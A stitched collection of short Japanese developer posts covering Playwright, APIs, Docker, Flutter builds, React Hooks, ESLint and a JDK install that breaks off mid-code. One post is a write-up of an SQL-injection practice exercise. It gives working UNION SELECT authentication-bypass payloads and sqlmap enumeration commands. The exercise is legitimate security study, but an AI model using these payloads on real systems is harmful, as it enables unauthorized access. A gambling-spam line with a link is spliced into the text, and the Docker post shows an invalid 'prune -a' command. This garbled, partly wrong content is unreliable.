今後も思いつき次第、レシピを作って更新します。
PlaywrightでのWebプッシュ通知の取り扱い

## はじめに

[Playwright](https://playwright.dev/) では、調べた限り、Webプッシュ通知による OS のデスクトップ通知を取り扱うことができない様子。
一方で、ブラウザのダイアログによる通知は扱えるようで、それに関する情報を本記事にまとめる。

:::note alert
あくまで、調べた範囲での情報なので、実際には使用できる可能性があります。
:::

## ブラウザのダイアログによる通知

### 公式ドキュメント

- [Dialogs](https://playwright.dev/docs/dialogs)
- [BrowserContext.grantPermissions](https://playwright.dev/docs/api/class-browsercontext#browser-context-grant-permissions): 通知を許可するためのAPI
- [Emulation#Permissions](https://playwright.dev/docs/emulation#permissions): 通知を許可するためのAPIの使用例

### 実装例

- [yuki-it0/3e36c8aaebd007d86e42db3395b2a329 - GitHub Gist](https://gist.github.com/yuki-it0/3e36c8aaebd007d86e42db3395b2a329)
- [TomasHubelbauer/playwright-web-push-notification - GitHub](https://github.com/TomasHubelbauer/playwright-web-push-notification)

### 参考情報

- headless モードだと正常に動かないという[issue](https://github.com/microsoft/playwright/issues/23954)もある。

<!-- zenn article id: da04894174c5f2 -->
Slot Gacor Anti Kalah Garansi Kekalahan 2023

 Slot Gacor Anti Kalah Garansi Kekalahan 2023 https://nlpconnections.com/![css1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3562322/a5fbba12-eef3-006a-5341-a6f4f07efb4a.png)
APIとは？全体の流れを紹介


### API（Application Programming Interface）とは？
APIは、異なるソフトウェア間でデータを交換するためのインターフェースです。ウェブのコンテキストでは、APIは通常、ウェブサーバー上で実行され、HTTPを介してリクエストを受け取り、データを返します。

### 全体像
- **クライアント**: データを要求する側。例：ウェブブラウザ、モバイルアプリ。
- **APIエンドポイント**: サーバー上の特定のURL。このURLにリクエストを送ることで、特定の機能やデータを要求することができます。
- **サーバー**: APIのエンドポイントをホストしているコンピュータ。データベースや他のリソースにアクセスして、クライアントの要求に応じてデータを返します。
- **データベース**: ユーザーデータや他の情報を保存している場所。サーバーはここからデータを取得してクライアントに返します。

### ユーザーデータ取得APIを呼び出す流れ

1. **クライアントのリクエスト**
    - ウェブページ、モバイルアプリ、または他のクライアントアプリケーションから、特定のユーザーのデータを取得したいというリクエストが発生します。

2. **HTTPリクエストの送信**
    - クライアントはAPIのエンドポイント（URL）にHTTPリクエストを送信します。
    - クライアント側（フロントエンド）コード例
```javascript
// JavaScriptでfetch APIを使用してデータを取得する例です。
fetch('https://api.example.com/users/1') // 1番のユーザーのデータをリクエストします。
  .then(response => response.json()) // レスポンスをJSON形式で解析します。
  .then(data => console.log(data)) // データをコンソールに表示します。
  .catch(error => console.error('エラーが発生しました:', error)); // エラーが発生した場合、エラーを表示します。
```

3. **サーバーでの処理**
    - ウェブサーバーは受け取ったリクエストを解析し、データベースや他のリソースから必要なデータを取得します。
    
    -  サーバ側（バックエンド）コード例
以下は、Expressを使用したNode.jsのサンプルコードです。実際のバックエンドは、データベースや他のサービスからデータを取得します。
```javascript
const express = require('express');
const app = express();
const port = 3000;

// ユーザーデータの例
const user = {
  id: 1,
  name: 'John Doe',
  email: 'john.doe@example.com'
};

// /users/1へのGETリクエストに対するレスポンスです。
app.get('/users/1', (req, res) => {
  res.json(user); // ユーザーデータをJSON形式で返します。
});

app.listen(port, () => {
  console.log(`サーバーがポート${port}で起動しました`);
});
```

4. **データの返送**
    - サーバーは取得したデータをJSONやXMLなどの形式でクライアントに返します。

5. **クライアントでのデータの処理**
    - クライアントは返ってきたデータを受け取り、適切に表示や処理を行います。

### APIの流れの全体像
1. クライアント（例：ウェブブラウザ）は、特定のURL（例：`https://api.example.com/users/1`）に対してHTTPリクエストを行い、APIを呼び出します。
2. サーバ（例：ウェブサーバ）は、そのリクエストを受け取り、対応するデータを検索・取得します（例：データベースからユーザーデータを取得）。
3. サーバは、取得したデータをJSON形式などでクライアントにレスポンスとして返します。
4. クライアントは、レスポンスを受け取り、データを利用して何らかの処理や表示を行います。

この一連の流れにおいて、クライアントとサーバは通常、HTTPプロトコルを利用して通信します。そして、APIとは、クライアントとサーバが互いにデータをやり取りするための「インターフェース」です。
Microsoft Learn ドキュメントの注意事項

[Microsoft Learn ドキュメント](https://learn.microsoft.com/ja-jp/docs/)で多種多様なチュートリアルを見ることができる。
私はシステム開発を行うときに複数のチュートリアルの内容を組み合わせてシステムを構築する。
公式ドキュメントは後ろ盾として心強い。
# 注意事項
複数のチュートリアルの内容を組み合わせてシステムを構築する際の注意事項がある。
## 共通
1. 個々のチュートリアルを**記載通りに行い**記載通りの結果になることを確認する。
    理由: 要素技術更新・手順記載不備・開発環境相違により記載通りの結果になることは稀である。
1. 「チュートリアルを**記載通りに行い**記載通りの結果になること」を確認する前にチュートリアルの手順を開発環境に合わせて変更しない。
    理由: 想定外挙動の原因特定が困難になる。
1. 「チュートリアルを**記載通りに行い**記載通りの結果になること」を確認する前にチュートリアルの手順をシステム要件に合わせて変更しない。
    理由: 想定外挙動の原因特定が困難になる。
1. チュートリアルに作業時点で非推奨の要素や古い要素が含まれていても「チュートリアルを**記載通りに行い**記載通りの結果になること」を確認する前に変更しない。
    理由: 想定外挙動の原因特定が困難になる。
 
## Azure
1. AzureCLIはCloudShellを使う。
    理由: 開発環境による想定外挙動の可能性を排除する。

## 過去トラ
1. カレントフォルダ変更が手順に書かれていない
1. GitHubに登録されているVisualStudioのProject File に記載の参照先フォルダパスがコントリビューター環境の固有パス
Dockerコンテナ削除方法

Dockerコンテナを削除する方法はいくつかあります。以下に一般的な方法を示します。

1. **単一のコンテナを削除する**:
   特定のコンテナを削除するには、`docker rm` コマンドを使用します。コンテナのIDまたは名前を指定します。

   ```bash
   docker rm <コンテナIDまたはコンテナ名>
   ```

   たとえば、コンテナIDが `abcd1234` の場合:

   ```bash
   docker rm abcd1234
   ```

2. **全ての停止中のコンテナを削除する**:
   停止中の全てのコンテナを削除するには、以下のコマンドを使用します。

   ```bash
   docker container prune
   ```

   このコマンドは停止中のコンテナを全て削除します。確認メッセージが表示されるので、削除する前に確認してください。

3. **全てのコンテナ（起動中と停止中）を削除する**:
   全てのコンテナ（起動中と停止中）を削除するには、以下のコマンドを使用します。注意が必要です。

   ```bash
   docker container prune -a
   ```

   このコマンドは、全てのコンテナを削除するため、慎重に使用してください。確認メッセージが表示されるので、削除する前に確認してください。

4. **名前を指定して削除する**:
   特定の名前を持つコンテナを削除する場合、以下のように名前を指定します。

   ```bash
   docker rm <コンテナ名>
   ```

   たとえば、コンテナ名が `my_container` の場合:

   ```bash
   docker rm my_container
   ```

コンテナを削除する前に、削除したいコンテナが本当に不要であることを確認してください。また、データの損失を避けるために重要なファイルを持つコンテナを削除する前にバックアップを取得することをお勧めします。
後ろから殴られたことに気づくには

# RTA in Japanにて

先日、RTA in Japanで『ディスガイア2』というゲームのプレイを見た。
ディスガイアは戦略シミュレーションというジャンルのゲームであり、
格子状のマップのなかで自軍と敵軍の駒(ユニット)を戦わせ勝つことが目的だ。
同じジャンルだと、ファイアーエムブレムシリーズや信長の野望シリーズが挙げられる。

プレイのなかで走者の方がディスガイア2のある仕様について次のように述べていた。
>敵に後ろから攻撃するとダメージアップするんですけど、このゲームけっこうガバガバで本当に敵の後ろのマスから攻撃しなくても、**敵と同じ方向を向いて攻撃する**と後ろから攻撃した判定になるんですよね。

個人的に気になったので考えてみた。
これは単なる実装ミスやバグの挙動なのだろうか。

# 具体的な実装方法
実装の方法として、パッと思い付くのは走者の方も言及しているように『後ろのマスから攻撃しているかどうか』を判定するやり方だ。
敵味方問わずユニットは色々な変数を持っている。
位置はもちろん、立ち絵を正しく描画するためにユニットの向きも持っているだろう。
![‎攻撃されたことに気づくには.‎007.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521715/8ef2dff3-aabc-64c6-4fec-76a6fbff8c5a.png)


現在位置と向きがあれば、後ろのマスの座標を計算することができる。
例えば自軍のユニットが敵に攻撃する場合、以下のようなプログラミングをすることで判定が可能だ。
```python: 真後ろのマスの判定
if 敵の向きがx軸正の方向 :
    if 自分の座標が(敵のx座標-1, 敵のy座標)と等しい :
        ダメージ増加
else if 敵の向きがy軸正の方向 :
    if 自分の座標が(敵のx座標, 敵のy座標-1)と等しい :
        ダメージ増加
else if 敵の向きがx軸負の方向 :
    if 自分の座標が(敵のx座標+1, 敵のy座標)と等しい :
        ダメージ増加
else if 敵の向きがy軸負の方向 :
    if 自分の座標が(敵のx座標, 敵のy座標+1)と等しい :
        ダメージ増加
```
また、敵の向きをπを用いて定義すると、もう少しコード量を短く書ける。


```python: 三角関数を用いた判定
# x軸正の方向=0
# y軸正の方向=π/2
# x軸負の方向=π
# y軸負の方向=3π/2

if 自分の座標が
    ( 敵のx座標-cos(敵の向き),
      敵のy座標-sin(敵の向き) )
    と等しい :
    ダメージ増加
```

![‎攻撃されたことに気づくには.‎009.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521715/c790c9d9-8955-7531-d502-69775546d50a.png)

![‎攻撃されたことに気づくには.‎010.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521715/589b7f30-d5c0-87f0-a746-4900d6d93044.png)

攻撃のたびに上記計算を行うことが処理速度に影響するのであれば、ユニットの変数に「後ろのマスの座標」を追加しておくことで計算回数を減らせるかもしれない。
ただ全キャラに変数を追加する分、メモリを消費するし、攻撃されないユニットに対しても毎ターン計算が必要なので、計算回数はユニット数によってはトントンかもしれないという懸念もある。

あとは拡張性についても問題がある。
例えば、ユニットの中には直接殴るだけでなく、弓兵や魔法使いなど遠距離から攻撃が可能なものがいる。
そのため「背面攻撃」の判定範囲を真後ろだけでなく、後ろ側に放射状に設定したい、ということになれば、上記コードがそれだけ長く複雑になってしまう。

こういった諸々の懸念から、もともとユニットが持っている向きの情報だけを使って、以下のような判定条件にしたのではないだろうか。

```python: 向きによる簡易的な判定方法
if 自分の向きが敵の向きと等しい :
    ダメージ増加
```

座標の考慮が不要なため、遠距離攻撃ユニットのカバーもでき、新たに変数を追加する必要もない。

確かに厳密な判定条件ではないので、悪用すれば敵の後ろに回らなくても背面攻撃が可能だ。
（RTAで走者の方が実践されていたように、敵の隣に移動→敵と同じ方向を向く→攻撃）
ただ、チュートリアルなんかで「敵の後ろから攻撃するとダメージがアップする」と説明されれば、プレイヤーは基本回り込んで攻撃をするだろうし、気づくことも少ないのではないだろうか。
事実、私も当時プレイしていた際、この抜け穴には気が付かなかった。
ゲームを作る上でのごまかしとしてはとてもうまいやり方だなと感じた。
もちろんすべて私の想像なので確かなところは分からないが。
iOS17端末でFlutterアプリがビルドできない問題解決備忘録

## 前提
flutter 3.7.0を利用したプロジェクトです。

## 背景
Xcode15が正式リリースされたので、試しにアップデートしたところ、以下のエラーが出てFlutterアプリのiOSビルドが出来なくなりました。
プロジェクトの中でflutter_inappwebviewを利用しているとエラーが発生するみたいなので、備忘録のためワークアラウンドを記載します。

### エラー内容
```
Error (Xcode): DT_TOOLCHAIN_DIR cannot be used to evaluate LIBRARY_SEARCH_PATHS, use TOOLCHAIN_DIR instead
```

### DT_TOOLCHAIN_DIR cannot be used to evaluate LIBRARY_SEARCH_PATHS, use TOOLCHAIN_DIR insteadの解決方法
[CocoaPodsのissue上で解決方法](https://github.com/CocoaPods/CocoaPods/issues/12012#issuecomment-1653051943)が紹介されていましたのでPodfileを書き換えてみます。

```pod
post_install do |installer|
      installer.pods_project.targets.each do |target|
          target.build_configurations.each do |config|
          xcconfig_path = config.base_configuration_reference.real_path
          xcconfig = File.read(xcconfig_path)
          xcconfig_mod = xcconfig.gsub(/DT_TOOLCHAIN_DIR/, "TOOLCHAIN_DIR")
          File.open(xcconfig_path, "w") { |file| file << xcconfig_mod }
          end
      end
  end
```
`Error (Xcode): DT_TOOLCHAIN_DIR cannot be used to evaluate LIBRARY_SEARCH_PATHS, use TOOLCHAIN_DIR instead`のエラーは解決しましたが、新たに以下のエラーが発生しました。

#### エラー内容
```
undefined method `real_path' for nil:NilClass
```

### undefined method `real_path' for nil:NilClassの解決方法
[CocoaPodsのissue上](https://github.com/CocoaPods/CocoaPods/issues/12012#issuecomment-1726432255)でnilチェックを追加することが紹介されていました。以下のようにPodfileを書き換えてみます。

```pod
post_install do |installer|
  installer.pods_project.targets.each do |target|
    target.build_configurations.each do |config|
      if config.base_configuration_reference
        xcconfig_path = config.base_configuration_reference.real_path
        xcconfig = File.read(xcconfig_path)
        xcconfig_mod = xcconfig.gsub(/DT_TOOLCHAIN_DIR/, "TOOLCHAIN_DIR")
        File.open(xcconfig_path, "w") { |file| file << xcconfig_mod } 
      end
      config.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '12.0'
    end
  end
end
```

pod installは成功するものの、ビルド時に新たに以下のエラーが発生しました。

#### エラー内容
```
Could not build module 'WebKit'
```

[使っているflutter_inappwebviewに問題がある](https://github.com/pichillilorenzo/flutter_inappwebview/issues/1735#issuecomment-1725248033)そうで、以下のワークアラウンドをpubspec.yamlに追加してみます。


```yaml
  flutter_inappwebview:
    git:
      url: https://github.com/Estrelio/flutter_inappwebview.git
      ref: fix-xcode-17
```

以上で無事にiOSアプリのビルドとアーカイブが出来るようになりました。
今回の解決方法はあくまでもワークアラウンドなので、正式な対応方法が出たらまたご紹介します。
Hooksをざっと把握

## 1. useState
ステートの値が更新されることで、差分描画で再レンダリングする。
@[codesandbox](https://codesandbox.io/embed/brave-kowalevski-lp7c4p)

ステートの値を子コンポーネントに渡して、再レンダリングする。
@[codesandbox](https://codesandbox.io/embed/currying-shape-3zqxp7)

## 2. useEffect
副作用フックといい、「〇〇が✗✗後に読み出す...」といったことが可能
@[codesandbox](https://codesandbox.io/embed/affectionate-elbakyan-r33k4h)

## 3. useContext
propsをバケツリレーで渡さなくても下の階層で
Contextに収容されているデータにアクセスできる。
@[codesandbox](https://codesandbox.io/embed/peaceful-edison-zm7gfx)

## 4. useRef
指定した要素の情報を参照する（DOMを参照する）
またuseRefでは、useStateのようにコンポーネント内での値を保持することが可能
@[codesandbox](https://codesandbox.io/embed/async-cache-pmk8t8)

## 5. useReducer
useStateでもほぼ同じ処理を実現できる。
しかし、stateが複数の値にまたがるような複雑なロジックがある場合や
前回のstateに基づいてstateを更新する場合などに力を発揮する。（一旦なんとなくの理解でOK）
@[codesandbox](https://codesandbox.io/embed/hungry-ptolemy-cn9f5c)

## 6. useMemo
必要なときだけ処理を実行して、
必要がないときは処理が走らないようにメモ化する。
メモ化した場合は値をメモリーに保存する。
実用例としてはパファーマンスを上げたい場合などに使用する？
@[codesandbox](https://codesandbox.io/embed/laughing-aj-xcmyzy)

## 7. カスタムフック
処理をコンポーネントに直接書くのではなく、別ファイルに切り出して
新しいHooksとして定義した関数のことをカスタムフックという。
今回はボタンを押したらローカルストレージに値を保存するカスタムフックを実装。
@[codesandbox](https://codesandbox.io/embed/infallible-dawn-vjn5vz)
[Xcode15] iPhone15 pro シミュレーターで「設定」アプリを起動するとクラッシュ

# メモ
Xcode15.0
- iPhone15 pro シミュレーターの「設定」アプリを起動するとクラッシュする問題がある
- 「iPhone15 pro」に限った問題なので、iPhone15 や iPhone14 pro などは問題ない
- 既知の問題として[公式のリリースノート](https://developer.apple.com/documentation/xcode-release-notes/xcode-15-release-notes#Known-Issues)に載っているので修正待ち

https://developer.apple.com/documentation/xcode-release-notes/xcode-15-release-notes#Known-Issues

> The simulator may crash when opening Settings or Action Button settings on iPhone 15 Pro devices. (115388496)
「パスワードがペッパー付きハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題」の回答

この問題を考えてみました。

https://qiita.com/ockeghem/items/0f3b09a0f413bdd39bd5

## テーブル構造が分かっている場合
この場合は比較的簡単です。

まず、ID: hoge / Password: hoge でユーザー登録します。

次に下記でログインします。

```
UserID: ' UNION SELECT 42, 'hacked', (select password from users where userid='hoge'), 42 --
Password: hoge
```

```
ログイン成功:hacked
```

ログイン成功後に2列目の内容が表示されています。
これを使ってadminのユーザー番号(プライマリキー)を特定します。

```
UserID: ' UNION SELECT 42, (select id from users where userid='admin'), (select password from users where userid='hoge'), 42 --
Password: hoge
```

```
ログイン成功:1
```

adminのユーザー番号は1だと分かりました。

```
UserID: ' UNION SELECT 1, 'admin', (select password from users where userid='hoge'), 42 --
Password: hoge
```

```
ログイン成功:admin
```

```
こんにちはadminさん
メールアドレス:admin@example.jp
```

adminでログインできました。
ペッパーの値はもちろん、ハッシュ値も不明のままログインできてしまいました。

## テーブル構造が分かっている場合 (別解)
(2023/09/22 10:47追記)

別のアプローチを思いつきました。

今回の実装ではパスワードの後ろにペッパーが連結されるので、空のパスワードのアカウントを作成することで、ペッパー自体のハッシュ値を漏洩できます。

ID: blank / Password: (空文字) でユーザー登録しておきます。

下記のようにログインします。

```
UserID: ' UNION SELECT 42, (select password from users where userid='blank'), (select password from users where userid='blank'), 42 --
Password: (空文字)
```

```
ログイン成功:$2y$10$ThbjjUIVCjV4CfCBug98peQEGaf8.WDXjD1DhFUnWRyyUYaUxavpG
(ペッパーはランダム生成されるので環境によって異なります)
```

続いて空のパスワードでログイン試行すれば、内部では(空文字列 + ペッパー)のハッシュ値、すなわちペッパー自体のハッシュ値が計算されます。
そのハッシュ値と先ほど取得したハッシュ値を比較させると一致するので、ログインに成功できます。

つまり、下記のようにします。

```
UserID: ' UNION SELECT 1, 'admin', '$2y$10$ThbjjUIVCjV4CfCBug98peQEGaf8.WDXjD1DhFUnWRyyUYaUxavpG', 42 --
Password: (空文字)
```

これでログイン成功です。

```
ログイン成功:admin
```

```
こんにちはadminさん
メールアドレス:admin@example.jp
```

「パスワードの後ろにペッパーが連結される」という内部情報を利用しましたが、珍しくない実装のようなので、この仮定で試しに攻撃される可能性は十分あり得そうです。

## テーブル構造を漏洩する
(2023/09/21 17:50追記)

UserIDに`'`を入れると下記のエラーが出るので、このフィールドに脆弱性があることが分かります。

```
エラー:SQLSTATE[HY000]: General error: 1 unrecognized token: "'''"
```

そこでsqlmapを試してみると、テーブル名が特定できました。
(sqliteを指定していますが、メジャーなDBを一通り試せばよいでしょう)

```shell
$ python sqlmap.py -u http://php/login.php -p userid --method POST --data "userid=hoge&password=hoge" --tables --batch --level 2 --dbms=sqlite
```

![スクリーンショット 2023-09-21 174552.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/db41ae98-7ce7-de5f-844f-aa550d70c2f0.png)

同様にカラム名も判明します。

```shell
$ python sqlmap.py -u http://php/login.php -p userid --method POST --data "userid=hoge&password=hoge" --tables --batch --level 2 -T users --columns
```

![スクリーンショット 2023-09-21 174715.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/a9003f06-2ada-1661-dd98-741766087e21.png)

あとは前述の方法でadminでログインできます。

どうやらBlind SQL Injectionを自動で行ったようです。原理は分かっているつもりなのですが、sqlmapが使ったペイロードの内容は理解できていないです…

## 補足

今回はペッパーのハッシュ値を漏洩させる攻撃が可能でした。
もしペッパーが短かったり辞書攻撃に弱い文字列だと、このハッシュ値からペッパーを復元される可能性もあります。
ペッパーは十分長いランダムな文字列にするべきです。

空のパスワードが設定できず、文字数・文字種に制限がある場合でも同様です。
パスワードは任意に設定できますので、
ペッパーがパスワードの後ろに連結されることが分かっていれば、
(設定したパスワード + 不明な文字列)を探索することでペッパーの復元攻撃が可能です。
iOSの最新情報をキャッチアップする

iOSアプリの開発者は、最新のiOSやXcodeのアップデート状況、アプリの提出要件の変更等に関する情報を日々キャッチアップして対応する必要があります。そこで今回は、私がiOSの最新情報をどの様にキャッチアップしているかについて書きます。

最新技術のキャッチアップというよりは、iOSアプリ開発をする上で必要になる基本的な情報を、どの様に収集しているかについてご紹介します。

iOSアプリ開発を日々行っている方にとっては既知の内容も多いと思いますが、学習を始めたばかりでキャッチアップの方法が分からない方にとって、少しでも参考になればうれしいです。

# よく見ているもの
### 最新ニュース - Apple Developer

最新OSのリリースや新機能に関する告知、App Storeへの提出要件の変更、ガイドラインや税金に関する変更等、iOSアプリ開発をする上で知っておかなければならない重要な情報は「最新ニュース」で告知されることが多いです。毎日更新されるものではないですが、定期的にチェックしておく必要があります。

https://developer.apple.com/jp/news/

「最新ニュース」はApple Developerのアプリからもチェックすることが出来ます。こちらのアプリを使うと記事をブックマーク出来て便利です。

https://apps.apple.com/jp/app/apple-developer/id640199958

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1793562/9c58c9eb-3d2b-4788-8154-564e7dab1e7d.jpeg" width=250>

### Newsroom

「Newsroom」にはAppleの新製品やイベント等のプレスリリースの内容が掲載されています。Apple社の最新ニュースが掲載されているのですが、iOSに関連する最新情報が含まれていることもあるので、こちらも定期的に見る様にしています。

https://www.apple.com/jp/newsroom/

### Xcode Releases

iOSアプリ開発に欠かせないXcodeの最新バージョンのリリース状況を確認したい場合は、「Xcode Releases」をチェックしています。各バージョンのXcodeのリリース日や対応しているmacOSの要件が一覧で記載されており、それぞれのバージョンのリリースノートの確認からダウンロードまでここから行うことが出来ます。

https://xcodereleases.com/

XcodeやiOSの最新バージョンのリリースに関する情報は、以下のApple公式のページでも告知される為、見やすい方をチェックしておくのが良いと思います。

https://developer.apple.com/jp/news/releases/

### Swift.org
Swiftに関する最新情報はこちらをチェックしておくと良いです。新しいバージョンのSwiftがリリースされるとこちらで告知され、変更点についても見ることが出来ます。

https://www.swift.org/blog/

### iOS Osushi🍣
iOSに関する最新の情報を定期的に発信しているXのアカウントです。ライブラリのアップデート状況等のiOS開発者が知っておきたいタイムリーな情報が丁寧にまとめられています。

https://twitter.com/ios_osushi?s=21&t=BVkuy7l2Bndpunwduzeqdw

### QiitaやZennのトレンド

QiitaやZennのトレンドも定期的にチェックして気になる記事がないか見る様にしています。後述するRSSリーダーを使用するとまとめてチェック出来ます。

https://qiita.com/tags/swiftui

https://zenn.dev/topics/swift

### SwiftLee / SwiftUI Weekly
毎週話題になったSwiftやSwiftUIに関する記事がピックアップされています。メールアドレスを登録しておくと毎週メールが届くので、気になった記事や動画に目を通す様にしています。これらは一例ですが、他にもこういったサイトは色々あるので自分に合ったものを探してみると良いと思います。

https://www.avanderlee.com/

https://weekly.swiftwithmajid.com/


# 最新情報を見落とさない為に

私が定期的にチェックしているページをいくつかご紹介しましたが、これらを全て定期的にチェックするのは大変です。そこで私はRSSリーダーを使って情報をキャッチアップする様にしています。

この方法だと、それぞれの情報が更新されたタイミングでRSSリーダーに表示されている日付が変わるので、最新の情報を見落としにくいです。また、それぞれの記事に既読やお気に入りを付ける機能があるので情報の整理もしやすいです。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1793562/eae5992b-89b7-5f04-1652-3798fab1b3f1.jpeg" width=250>

私はこちらのアプリを使っていますが、自分にとって使いやすい方法でキャッチアップするのが良いと思います。Slackでチャンネルを作ってそこに通知が来る様にしても良いかもしれません。

https://apps.apple.com/jp/app/rss-reader-simple-rss-reader/id925264855

この様な方法で、1日1回程度気になる内容がないかチェックしておけば、重要な情報を見落とすことはかなり少なくなるはずです。

# その他のおすすめのキャッチアップ方法

上記に加えておすすめなのが、XのアカウントでiOSアプリ開発をしている方と繋がって情報をキャッチアップする方法です。多くのiOSアプリ開発者の方と繋がっていると、iOSアプリ開発に関する重要な情報もXのタイムラインに流れてくることがほとんどです。

開発する上でのコツや最新の情報は、実際にiOSアプリ開発をしている方が一番よく知っているはずです。そういった意味で、色々な方と気軽に繋がれるXを活用して情報をキャッチアップするのは良い方法だと思います。

# さいごに

今回は私のiOSアプリ開発のキャッチアップ方法をご紹介しました。これらの方法がiOS開発のキャッチアップに迷う方にとって少しでも参考になればうれしいです。また、他にもおすすめのキャッチアップ方法があればぜひコメントで教えてください。
【typescript】eslintでstandardを使ってみる

# 前書き
eslintで、普段はairbnbを使っていたのだが、
最近は表示されなくなった[^airbnb]ので、standardを使ってみることにした。

その時のメモ。

[^airbnb]:airbnbがtypescriptに対応していないから、表示されなくなった、らしい。

# standardとは

[JavaScript Standard Style](https://standardjs.com/readme-ja#but-this-isnt-a-real-web-standard)

eslintで設定できるコードスタイル設計の一つ。
他のコードスタイル設計と違い、一部のルールだけ変更して使うといったことが基本的に出来ないようになっている。
これは、スタイルに対する議論は解決しないから、らしい。

末尾のセミコロンは、standardでは付けない方針なのだが、
このルールだけはセミコロンありのパッケージが用意されている。

airbnbだとセミコロンは必須のため、ここから移行する人には欲しいところ。
しかし、今回は以下の理由で使わないことにした。

- セミコロンありのパッケージがjavascriptにしかなく、typescript版にはない[^withTypeScript]
- standardのルールで、配列の最後の要素の後ろにカンマを付けないから

譲れないのがセミコロンだけならまだしも、複数あったので諦めてstandardの方針に従うことにした。

[^withTypeScript]:ちなみになんでセミコロンありtypescriptが無いの？という議論は[ここ](https://github.com/standard/ts-standard/issues/115)で行われている様子。この記事を書いている時点でもissueの更新があるので、いつか変わっているかもしれない。

# 使ってみる

まずはインストール。

```zsh
% npm install -D ts-standard
```

これだけ。eslintなどをインストールする必要はない。

使ってみる。

```zsh
% npx standard
=============

WARNING: You are currently running a version of TypeScript which is not officially supported by @typescript-eslint/typescript-estree.

You may find that it works just fine, or you may not.

SUPPORTED TYPESCRIPT VERSIONS: >=3.3.1 <5.2.0

YOUR TYPESCRIPT VERSION: 5.2.2

Please only submit bug reports when using the officially supported version.

=============
```

typescriptの最新バージョンには対応していない時があるらしい。
マイナーバージョン違いなので、そう遠くないうちに対応されると思う。

# vscodeで使う

eslintを直接使わないため、eslintの拡張機能ではエディターでエラーが表示されない。
そのため、standardの拡張機能をインストールする。

[StandardJS - JavaScript Standard Style - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=standard.vscode-standard)

これをインストールすると、package.jsonで該当のstandardがインストールされている場合に機能してくれる。

## フォーマットする

prettierをフォーマッタとして使っている場合、設定によっては、standardのルールに従わないコードがフォーマットされてしまう。
そのため、standardのルールに従うように設定を変更する。

### 拡張機能のインストール

先ほどインストールしたstandardJSではフォーマットが出来ないので、別途拡張機能をインストールする。

[Prettier-Standard - JavaScript formatter - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=numso.prettier-standard-vscode)

公式サポート下の拡張機能ではないのだが、おそらく適切にフォーマットしてくれると思う。

2023/09/23時点追記：typescriptで`satisfies`に対応していないのを確認。

### ショートカットキーの設定

`option + shift + f`で設定されているショートカットは、prettierのフォーマットになっている。
このショートカットのデフォルトを変更してしまうと、standardを使っていないプロジェクトでフォーマットが変わってくるので、
ワークスペースの設定で変更する。

```json:.vscode/settings.json
{
  "[typescript]": {
    "editor.defaultFormatter": "numso.prettier-standard-vscode"
  },
}
```

# 終わりに

セミコロンやカンマのルールは、慣れるまで見づらいと気がする。
かといって個別設定していくのもなんだかなぁという感じなので、様子見していこうと思う。

# おまけ

typescriptでセミコロンありを使う場合のeslintの設定。

```json:.eslintrc.json
{
  "overrides": [
    {
      "files": ["*.js", "*.jsx", "*.ts", "*.tsx"],
      "extends": "standard-with-typescript",
      "rules": {
        "@typescript-eslint/semi": ["error", "always"],
        "@typescript-eslint/no-extra-semi": "error"
      }
    }
  ]
}
```
JDKのインストール

# はじめに
JDKをインストールした時のログです。

https://docs.oracle.com/en/java/javase/20/install/installation-jdk-linux-platforms.html#GUID-ADC9C14A-5F51-4C32-802C-9639A947317F

以下のOracle Linuxにインストールします。

```
$ cat /etc/oracle-release 
Oracle Linux Server release 8.8
```

# ダウンロード

ここでは`/usr/java`配下にインストールします。
```
$ sudo su - 
# mkdir /usr/java
# cd /usr/java/
```

以下のサイトから環境に合ったバイナリーをダウンロードして、展開します。

https://www.oracle.com/java/technologies/downloads/

```
# wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.tar.gz
--2023-09-21 04:44:00--  https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.tar.gz
Resolving download.oracle.com (download.oracle.com)... 104.93.8.87
Connecting to download.oracle.com (download.oracle.com)|104.93.8.87|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 197176830 (188M) [application/x-gzip]
Saving to: ‘jdk-21_linux-x64_bin.tar.gz’

jdk-21_linux-x64_bin.tar.gz                100%[=======================================================================================>] 188.04M   150MB/s    in 1.3s    

2023-09-21 04:44:02 (150 MB/s) - ‘jdk-21_linux-x64_bin.tar.gz’ saved [197176830/197176830]
# tar zxvf jdk-21_linux-x64_bin.tar.gz 
```

確認します。

```
# ls -l jdk-21
total 24
drwxr-xr-x.  2 root  root  4096 Sep 21 04:45 bin
drwxr-xr-x.  5 root  root   146 Sep 21 04:45 conf
drwxr-xr-x.  3 root  root   132 Sep 21 04:45 include
drwxr-xr-x.  2 root  root  4096 Sep 21 04:45 jmods
drwxr-xr-x. 71 root  root  4096 Sep 21 04:45 legal
drwxr-xr-x.  5 root  root  4096 Sep 21 04:45 lib
lrwxrwxrwx.  1 10668 10668   23 Aug  9 20:39 LICENSE -> legal/java.base/LICENSE
drwxr-xr-x.  3 root  root    18 Sep 21 04:45 man
-rw-r--r--.  1 10668 10668  290 Aug  9 20:39 README
-rw-r--r--.  1 10668 10668 1243 Aug  9 20:39 release
```

```
# exit
```

# JAVA_HOMEの設定
`.bashrc`ファイルに以下を追記して、反映させます。

```.bashrc
export JAVA_HOME=/usr/java/jdk-21
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/jre/lib:$JAVA_HOME/lib:$JAVA_HOME/lib/tools.jar
```

```
$ . .bashrc 
```

確認します。

```
$ echo $JAVA_HOME
/usr/java/jdk-21
$ java --version
java 21 2023-09-19 LTS
Java(TM) SE Runtime Environment (build 21+35-LTS-2513)
Java HotSpot(TM) 64-Bit Server VM (build 21+35-LTS-2513, mixed mode, sharing)
```

# 動作確認
以下のコードをコンパイル、実行して動作を確認します。

```hello.java
public class hello{
